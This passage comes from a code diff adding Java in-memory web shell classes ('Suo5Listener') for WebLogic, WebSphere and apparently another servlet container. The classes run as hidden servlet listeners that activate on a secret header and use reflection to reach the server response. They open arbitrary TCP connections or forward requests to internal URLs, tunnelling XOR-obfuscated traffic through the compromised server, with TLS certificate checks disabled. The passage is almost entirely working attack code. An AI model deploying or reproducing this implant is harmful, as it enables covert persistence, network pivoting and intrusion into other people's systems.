for (int i = 0; i < copyLength; i++) {
copy[i] = original[from + i];
}
return copy;
}
private byte[] marshal(HashMap m) throws IOException {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
Object[] keys = m.keySet().toArray();
for (int i = 0; i < keys.length; i++) {
String key = (String) keys[i];
byte[] value = (byte[]) m.get(key);
buf.write((byte) key.length());
buf.write(key.getBytes());
buf.write(u32toBytes(value.length));
buf.write(value);
}
byte[] data = buf.toByteArray();
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
dbuf.putInt(data.length);
// xor key
byte key = (byte) ((Math.random() * 255) + 1);
dbuf.put(key);
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key);
}
dbuf.put(data);
return dbuf.array();
}
private HashMap unmarshal(InputStream in) throws Exception {
byte[] header = new byte[4 + 1]; // size and datatype
readFull(in, header);
// read full
ByteBuffer bb = ByteBuffer.wrap(header);
int len = bb.getInt();
int x = bb.get();
if (len > 1024 * 1024 * 32) {
throw new IOException("invalid len");
}
byte[] bs = new byte[len];
readFull(in, bs);
for (int i = 0; i < bs.length; i++) {
bs[i] = (byte) (bs[i] ^ x);
}
HashMap m = new HashMap();
byte[] buf;
for (int i = 0; i < bs.length - 1; ) {
short kLen = bs[i];
i += 1;
if (i + kLen >= bs.length) {
throw new Exception("key len error");
}
if (kLen < 0) {
throw new Exception("key len error");
}
buf = copyOfRange(bs, i, i + kLen);
String key = new String(buf);
i += kLen;
if (i + 4 >= bs.length) {
throw new Exception("value len error");
}
buf = copyOfRange(bs, i, i + 4);
int vLen = bytesToU32(buf);
i += 4;
if (vLen < 0) {
throw new Exception("value error");
}
if (i + vLen > bs.length) {
throw new Exception("value error");
}
byte[] value = copyOfRange(bs, i, i + vLen);
i += vLen;
m.put(key, value);
}
return m;
}
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
final InputStream reqInputStream = request.getInputStream();
HashMap dataMap = unmarshal(reqInputStream);
byte[] action = (byte[]) dataMap.get("ac");
if (action.length != 1 || action[0] != 0x00) {
resp.setStatus(403);
return;
}
resp.setBufferSize(512);
final OutputStream respOutStream = resp.getOutputStream();
// 0x00 create socket
resp.setHeader("X-Accel-Buffering", "no");
Socket sc;
try {
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
// Cannot convert Integer to int
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
} catch (Exception e) {
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
final OutputStream scOutStream = sc.getOutputStream();
final InputStream scInStream = sc.getInputStream();
Thread t = null;
try {
Suo5Listener p = new Suo5Listener(scInStream, respOutStream);
t = new Thread(p);
t.start();
readReq(reqInputStream, scOutStream);
} catch (Exception e) {
// System.out.printf("pipe error, %s\n", e);
} finally {
sc.close();
respOutStream.close();
if (t != null) {
t.join();
}
}
}
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
byte[] readBuf = new byte[1024 * 8];
while (true) {
int n = inputStream.read(readBuf);
if (n <= 0) {
break;
}
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
if (needMarshal) {
dataTmp = marshal(newData(dataTmp));
}
outputStream.write(dataTmp);
outputStream.flush();
}
}
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
while (true) {
HashMap dataMap;
dataMap = unmarshal(bufInputStream);
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
return;
}
byte action = actions[0];
if (action == 0x02) {
socketOutStream.close();
return;
} else if (action == 0x01) {
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
socketOutStream.write(data);
socketOutStream.flush();
}
} else if (action == 0x03) {
continue;
} else {
return;
}
}
}
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
Exception {
InputStream is = request.getInputStream();
BufferedInputStream reader = new BufferedInputStream(is);
HashMap dataMap;
dataMap = unmarshal(reader);
String clientId = new String((byte[]) dataMap.get("id"));
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
resp.setStatus(403);
return;
}
/*
ActionCreate byte = 0x00
ActionData byte = 0x01
ActionDelete byte = 0x02
ActionHeartbeat byte = 0x03
*/
byte action = actions[0];
byte[] redirectData = (byte[]) dataMap.get("r");
boolean needRedirect = redirectData != null && redirectData.length > 0;
String redirectUrl = "";
if (needRedirect) {
dataMap.remove("r");
redirectUrl = new String(redirectData);
needRedirect = !isLocalAddr(redirectUrl);
}
// load balance, send request with data to request url
// action 0x00 need to pipe, see below
if (needRedirect && action >= 0x01 && action <= 0x03) {
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
conn.disconnect();
return;
}
resp.setBufferSize(512);
OutputStream respOutStream = resp.getOutputStream();
if (action == 0x02) {
Object o = this.get(clientId);
if (o == null) return;
OutputStream scOutStream = (OutputStream) o;
scOutStream.close();
return;
} else if (action == 0x01) {
Object o = this.get(clientId);
if (o == null) {
respOutStream.write(marshal(newDel()));
respOutStream.flush();
respOutStream.close();
return;
}
OutputStream scOutStream = (OutputStream) o;
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
scOutStream.write(data);
scOutStream.flush();
}
respOutStream.close();
return;
} else {
}
if (action != 0x00) {
return;
}
// 0x00 create new tunnel
resp.setHeader("X-Accel-Buffering", "no");
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
InputStream readFrom;
Socket sc = null;
HttpURLConnection conn = null;
if (needRedirect) {
// pipe redirect stream and current response body
conn = redirect(request, dataMap, redirectUrl);
readFrom = conn.getInputStream();
} else {
// pipe socket stream and current response body
try {
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
readFrom = sc.getInputStream();
this.put(clientId, sc.getOutputStream());
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
} catch (Exception e) {
// System.out.printf("connect error %s\n", e);
// e.printStackTrace();
this.remove(clientId);
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
}
try {
readSocket(readFrom, respOutStream, !needRedirect);
} catch (Exception e) {
// System.out.println("socket error " + e.toString());
// e.printStackTrace();
} finally {
if (sc != null) {
sc.close();
}
if (conn != null) {
conn.disconnect();
}
respOutStream.close();
this.remove(clientId);
}
}
public void run() {
try {
readSocket(gInStream, gOutStream, true);
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
}
static HashMap collectAddr() {
HashMap addrs = new HashMap();
try {
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
while (nifs.hasMoreElements()) {
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
Enumeration addresses = nif.getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress addr = (InetAddress) addresses.nextElement();
String s = addr.getHostAddress();
if (s != null) {
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
int ifaceIndex = s.indexOf('%');
if (ifaceIndex != -1) {
s = s.substring(0, ifaceIndex);
}
addrs.put((Object) s, (Object) Boolean.TRUE);
}
}
}
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
return addrs;
}
boolean isLocalAddr(String url) throws Exception {
String ip = (new URL(url)).getHost();
return addrs.containsKey(ip);
}
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
String method = request.getMethod();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
try {
// conn.setConnectTimeout(3000);
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
// conn.setReadTimeout(0);
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
} catch (Exception e) {
// java1.4
}
conn.setDoOutput(true);
conn.setDoInput(true);
// ignore ssl verify
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
if (HttpsURLConnection.class.isInstance(conn)) {
((HttpsURLConnection) conn).setHostnameVerifier(this);
SSLContext sslCtx = SSLContext.getInstance("SSL");
sslCtx.init(null, new TrustManager[]{this}, null);
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
}
byte[] newBody = marshal(dataMap);
Enumeration headers = request.getHeaderNames();
while (headers.hasMoreElements()) {
String k = (String) headers.nextElement();
if (k.equals("Content-Length")) {
conn.setRequestProperty(k, String.valueOf(newBody.length));
continue;
} else if (k.equals("Host")) {
conn.setRequestProperty(k, u.getHost());
continue;
} else if (k.equals("Connection")) {
conn.setRequestProperty(k, "close");
continue;
} else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) {
continue;
} else {
conn.setRequestProperty(k, request.getHeader(k));
}
}
OutputStream rout = conn.getOutputStream();
rout.write(newBody);
rout.flush();
rout.close();
conn.getResponseCode();
return conn;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = getResponseFromRequest(request);
String contentType = request.getContentType();
if (contentType == null) {
return;
}
try {
if (contentType.equals("application/plain")) {
tryFullDuplex(request, response);
return;
}
if (contentType.equals("application/octet-stream")) {
processDataBio(request, response);
} else {
processDataUnary(request, response);
}
} catch (Throwable e) {
// System.out.printf("process data error %s\n", e);
// e.printStackTrace();
}
}
} catch (Exception ignored) {
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
Map<?, ?> map = (Map<?, ?>) getFieldValue(getFieldValue(request, "exchange"), "attachments");
Object[] keys = map.keySet().toArray();
for (Object key : keys) {
if (map.get(key).toString().contains("ServletRequestContext")) {
response = (HttpServletResponse) getFieldValue(map.get(key), "servletResponse");
break;
}
}
return response;
}
}
@@ -0,0 +1,604 @@
package com.reajason.javaweb.memshell.weblogic.suo5;
import javax.net.ssl.*;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.nio.ByteBuffer;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/15
*/
public class Suo5Listener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager {
public static String headerName;
public static String headerValue;
public static HashMap addrs = collectAddr();
public static HashMap ctx = new HashMap();
InputStream gInStream;
OutputStream gOutStream;
public Suo5Listener() {
}
public Suo5Listener(InputStream in, OutputStream out) {
this.gInStream = in;
this.gOutStream = out;
}
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
int bufferOffset = 0;
while (bufferOffset < b.length) {
int readLength = b.length - bufferOffset;
int readResult = is.read(b, bufferOffset, readLength);
if (readResult == -1) break;
bufferOffset += readResult;
}
}
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
InputStream in = request.getInputStream();
byte[] data = new byte[32];
readFull(in, data);
OutputStream out = response.getOutputStream();
out.write(data);
out.flush();
}
private HashMap newCreate(byte s) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x04});
m.put("s", new byte[]{s});
return m;
}
private HashMap newData(byte[] data) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x01});
m.put("dt", data);
return m;
}
private HashMap newDel() {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x02});
return m;
}
private HashMap newStatus(byte b) {
HashMap m = new HashMap();
m.put("s", new byte[]{b});
return m;
}
byte[] u32toBytes(int i) {
byte[] result = new byte[4];
result[0] = (byte) (i >> 24);
result[1] = (byte) (i >> 16);
result[2] = (byte) (i >> 8);
result[3] = (byte) (i /*>> 0*/);
return result;
}
int bytesToU32(byte[] bytes) {
return ((bytes[0] & 0xFF) << 24) |
((bytes[1] & 0xFF) << 16) |
((bytes[2] & 0xFF) << 8) |
((bytes[3] & 0xFF) << 0);
}
synchronized void put(String k, Object v) {
ctx.put(k, v);
}
synchronized Object get(String k) {
return ctx.get(k);
}
synchronized Object remove(String k) {
return ctx.remove(k);
}
byte[] copyOfRange(byte[] original, int from, int to) {
int newLength = to - from;
if (newLength < 0) {
throw new IllegalArgumentException(from + " > " + to);
}
byte[] copy = new byte[newLength];
int copyLength = Math.min(original.length - from, newLength);
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
// System.arraycopy(original, from, copy, 0, copyLength);
for (int i = 0; i < copyLength; i++) {
copy[i] = original[from + i];
}
return copy;
}
private byte[] marshal(HashMap m) throws IOException {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
Object[] keys = m.keySet().toArray();
for (int i = 0; i < keys.length; i++) {
String key = (String) keys[i];
byte[] value = (byte[]) m.get(key);
buf.write((byte) key.length());
buf.write(key.getBytes());
buf.write(u32toBytes(value.length));
buf.write(value);
}
byte[] data = buf.toByteArray();
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
dbuf.putInt(data.length);
// xor key
byte key = (byte) ((Math.random() * 255) + 1);
dbuf.put(key);
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key);
}
dbuf.put(data);
return dbuf.array();
}
private HashMap unmarshal(InputStream in) throws Exception {
byte[] header = new byte[4 + 1]; // size and datatype
readFull(in, header);
// read full
ByteBuffer bb = ByteBuffer.wrap(header);
int len = bb.getInt();
int x = bb.get();
if (len > 1024 * 1024 * 32) {
throw new IOException("invalid len");
}
byte[] bs = new byte[len];
readFull(in, bs);
for (int i = 0; i < bs.length; i++) {
bs[i] = (byte) (bs[i] ^ x);
}
HashMap m = new HashMap();
byte[] buf;
for (int i = 0; i < bs.length - 1; ) {
short kLen = bs[i];
i += 1;
if (i + kLen >= bs.length) {
throw new Exception("key len error");
}
if (kLen < 0) {
throw new Exception("key len error");
}
buf = copyOfRange(bs, i, i + kLen);
String key = new String(buf);
i += kLen;
if (i + 4 >= bs.length) {
throw new Exception("value len error");
}
buf = copyOfRange(bs, i, i + 4);
int vLen = bytesToU32(buf);
i += 4;
if (vLen < 0) {
throw new Exception("value error");
}
if (i + vLen > bs.length) {
throw new Exception("value error");
}
byte[] value = copyOfRange(bs, i, i + vLen);
i += vLen;
m.put(key, value);
}
return m;
}
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
final InputStream reqInputStream = request.getInputStream();
HashMap dataMap = unmarshal(reqInputStream);
byte[] action = (byte[]) dataMap.get("ac");
if (action.length != 1 || action[0] != 0x00) {
resp.setStatus(403);
return;
}
resp.setBufferSize(512);
final OutputStream respOutStream = resp.getOutputStream();
// 0x00 create socket
resp.setHeader("X-Accel-Buffering", "no");
Socket sc;
try {
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
// Cannot convert Integer to int
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
} catch (Exception e) {
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
final OutputStream scOutStream = sc.getOutputStream();
final InputStream scInStream = sc.getInputStream();
Thread t = null;
try {
Suo5Listener p = new Suo5Listener(scInStream, respOutStream);
t = new Thread(p);
t.start();
readReq(reqInputStream, scOutStream);
} catch (Exception e) {
// System.out.printf("pipe error, %s\n", e);
} finally {
sc.close();
respOutStream.close();
if (t != null) {
t.join();
}
}
}
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
byte[] readBuf = new byte[1024 * 8];
while (true) {
int n = inputStream.read(readBuf);
if (n <= 0) {
break;
}
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
if (needMarshal) {
dataTmp = marshal(newData(dataTmp));
}
outputStream.write(dataTmp);
outputStream.flush();
}
}
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
while (true) {
HashMap dataMap;
dataMap = unmarshal(bufInputStream);
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
return;
}
byte action = actions[0];
if (action == 0x02) {
socketOutStream.close();
return;
} else if (action == 0x01) {
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
socketOutStream.write(data);
socketOutStream.flush();
}
} else if (action == 0x03) {
continue;
} else {
return;
}
}
}
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
Exception {
InputStream is = request.getInputStream();
BufferedInputStream reader = new BufferedInputStream(is);
HashMap dataMap;
dataMap = unmarshal(reader);
String clientId = new String((byte[]) dataMap.get("id"));
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
resp.setStatus(403);
return;
}
/*
ActionCreate byte = 0x00
ActionData byte = 0x01
ActionDelete byte = 0x02
ActionHeartbeat byte = 0x03
*/
byte action = actions[0];
byte[] redirectData = (byte[]) dataMap.get("r");
boolean needRedirect = redirectData != null && redirectData.length > 0;
String redirectUrl = "";
if (needRedirect) {
dataMap.remove("r");
redirectUrl = new String(redirectData);
needRedirect = !isLocalAddr(redirectUrl);
}
// load balance, send request with data to request url
// action 0x00 need to pipe, see below
if (needRedirect && action >= 0x01 && action <= 0x03) {
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
conn.disconnect();
return;
}
resp.setBufferSize(512);
OutputStream respOutStream = resp.getOutputStream();
if (action == 0x02) {
Object o = this.get(clientId);
if (o == null) return;
OutputStream scOutStream = (OutputStream) o;
scOutStream.close();
return;
} else if (action == 0x01) {
Object o = this.get(clientId);
if (o == null) {
respOutStream.write(marshal(newDel()));
respOutStream.flush();
respOutStream.close();
return;
}
OutputStream scOutStream = (OutputStream) o;
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
scOutStream.write(data);
scOutStream.flush();
}
respOutStream.close();
return;
} else {
}
if (action != 0x00) {
return;
}
// 0x00 create new tunnel
resp.setHeader("X-Accel-Buffering", "no");
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
InputStream readFrom;
Socket sc = null;
HttpURLConnection conn = null;
if (needRedirect) {
// pipe redirect stream and current response body
conn = redirect(request, dataMap, redirectUrl);
readFrom = conn.getInputStream();
} else {
// pipe socket stream and current response body
try {
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
readFrom = sc.getInputStream();
this.put(clientId, sc.getOutputStream());
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
} catch (Exception e) {
// System.out.printf("connect error %s\n", e);
// e.printStackTrace();
this.remove(clientId);
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
}
try {
readSocket(readFrom, respOutStream, !needRedirect);
} catch (Exception e) {
// System.out.println("socket error " + e.toString());
// e.printStackTrace();
} finally {
if (sc != null) {
sc.close();
}
if (conn != null) {
conn.disconnect();
}
respOutStream.close();
this.remove(clientId);
}
}
public void run() {
try {
readSocket(gInStream, gOutStream, true);
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
}
static HashMap collectAddr() {
HashMap addrs = new HashMap();
try {
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
while (nifs.hasMoreElements()) {
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
Enumeration addresses = nif.getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress addr = (InetAddress) addresses.nextElement();
String s = addr.getHostAddress();
if (s != null) {
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
int ifaceIndex = s.indexOf('%');
if (ifaceIndex != -1) {
s = s.substring(0, ifaceIndex);
}
addrs.put((Object) s, (Object) Boolean.TRUE);
}
}
}
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
return addrs;
}
boolean isLocalAddr(String url) throws Exception {
String ip = (new URL(url)).getHost();
return addrs.containsKey(ip);
}
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
String method = request.getMethod();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
try {
// conn.setConnectTimeout(3000);
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
// conn.setReadTimeout(0);
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
} catch (Exception e) {
// java1.4
}
conn.setDoOutput(true);
conn.setDoInput(true);
// ignore ssl verify
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
if (HttpsURLConnection.class.isInstance(conn)) {
((HttpsURLConnection) conn).setHostnameVerifier(this);
SSLContext sslCtx = SSLContext.getInstance("SSL");
sslCtx.init(null, new TrustManager[]{this}, null);
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
}
byte[] newBody = marshal(dataMap);
Enumeration headers = request.getHeaderNames();
while (headers.hasMoreElements()) {
String k = (String) headers.nextElement();
if (k.equals("Content-Length")) {
conn.setRequestProperty(k, String.valueOf(newBody.length));
continue;
} else if (k.equals("Host")) {
conn.setRequestProperty(k, u.getHost());
continue;
} else if (k.equals("Connection")) {
conn.setRequestProperty(k, "close");
continue;
} else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) {
continue;
} else {
conn.setRequestProperty(k, request.getHeader(k));
}
}
OutputStream rout = conn.getOutputStream();
rout.write(newBody);
rout.flush();
rout.close();
conn.getResponseCode();
return conn;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = getResponseFromRequest(request);
String contentType = request.getContentType();
if (contentType == null) {
return;
}
try {
if (contentType.equals("application/plain")) {
tryFullDuplex(request, response);
return;
}
if (contentType.equals("application/octet-stream")) {
processDataBio(request, response);
} else {
processDataUnary(request, response);
}
} catch (Throwable e) {
// System.out.printf("process data error %s\n", e);
// e.printStackTrace();
}
}
} catch (Exception ignored) {
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
} catch (Exception e) {
response = (HttpServletResponse) getFieldValue(request, "response");
}
return response;
}
}
@@ -0,0 +1,597 @@
package com.reajason.javaweb.memshell.websphere.suo5;
import javax.net.ssl.*;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.nio.ByteBuffer;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Enumeration;
import java.util.HashMap;
/**
* @author ReaJason
* @since 2024/12/15
*/
public class Suo5Listener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager {
public static String headerName;
public static String headerValue;
public static HashMap addrs = collectAddr();
public static HashMap ctx = new HashMap();
InputStream gInStream;
OutputStream gOutStream;
public Suo5Listener() {
}
public Suo5Listener(InputStream in, OutputStream out) {
this.gInStream = in;
this.gOutStream = out;
}
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
int bufferOffset = 0;
while (bufferOffset < b.length) {
int readLength = b.length - bufferOffset;
int readResult = is.read(b, bufferOffset, readLength);
if (readResult == -1) break;
bufferOffset += readResult;
}
}
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
InputStream in = request.getInputStream();
byte[] data = new byte[32];
readFull(in, data);
OutputStream out = response.getOutputStream();
out.write(data);
out.flush();
}
private HashMap newCreate(byte s) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x04});
m.put("s", new byte[]{s});
return m;
}
private HashMap newData(byte[] data) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x01});
m.put("dt", data);
return m;
}
private HashMap newDel() {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x02});
return m;
}
private HashMap newStatus(byte b) {
HashMap m = new HashMap();
m.put("s", new byte[]{b});
return m;
}
byte[] u32toBytes(int i) {
byte[] result = new byte[4];
result[0] = (byte) (i >> 24);
result[1] = (byte) (i >> 16);
result[2] = (byte) (i >> 8);
result[3] = (byte) (i /*>> 0*/);
return result;
}
int bytesToU32(byte[] bytes) {
return ((bytes[0] & 0xFF) << 24) |
((bytes[1] & 0xFF) << 16) |
((bytes[2] & 0xFF) << 8) |
((bytes[3] & 0xFF) << 0);
}
synchronized void put(String k, Object v) {
ctx.put(k, v);
}
synchronized Object get(String k) {
return ctx.get(k);
}
synchronized Object remove(String k) {
return ctx.remove(k);
}
byte[] copyOfRange(byte[] original, int from, int to) {
int newLength = to - from;
if (newLength < 0) {
throw new IllegalArgumentException(from + " > " + to);
}
byte[] copy = new byte[newLength];
int copyLength = Math.min(original.length - from, newLength);
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
// System.arraycopy(original, from, copy, 0, copyLength);
for (int i = 0; i < copyLength; i++) {
copy[i] = original[from + i];
}
return copy;
}
private byte[] marshal(HashMap m) throws IOException {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
Object[] keys = m.keySet().toArray();
for (int i = 0; i < keys.length; i++) {
String key = (String) keys[i];
byte[] value = (byte[]) m.get(key);
buf.write((byte) key.length());
buf.write(key.getBytes());
buf.write(u32toBytes(value.length));
buf.write(value);
}
byte[] data = buf.toByteArray();
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
dbuf.putInt(data.length);
// xor key
byte key = (byte) ((Math.random() * 255) + 1);
dbuf.put(key);
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key);
}
dbuf.put(data);
return dbuf.array();
}
private HashMap unmarshal(InputStream in) throws Exception {
byte[] header = new byte[4 + 1]; // size and datatype
readFull(in, header);
// read full
ByteBuffer bb = ByteBuffer.wrap(header);
int len = bb.getInt();
int x = bb.get();
if (len > 1024 * 1024 * 32) {
throw new IOException("invalid len");
}
byte[] bs = new byte[len];
readFull(in, bs);
for (int i = 0; i < bs.length; i++) {
bs[i] = (byte) (bs[i] ^ x);
}
HashMap m = new HashMap();
byte[] buf;
for (int i = 0; i < bs.length - 1; ) {
short kLen = bs[i];
i += 1;
if (i + kLen >= bs.length) {
throw new Exception("key len error");
}
if (kLen < 0) {
throw new Exception("key len error");
}
buf = copyOfRange(bs, i, i + kLen);
String key = new String(buf);
i += kLen;
if (i + 4 >= bs.length) {
throw new Exception("value len error");
}
buf = copyOfRange(bs, i, i + 4);
int vLen = bytesToU32(buf);
i += 4;
if (vLen < 0) {
throw new Exception("value error");
}
if (i + vLen > bs.length) {
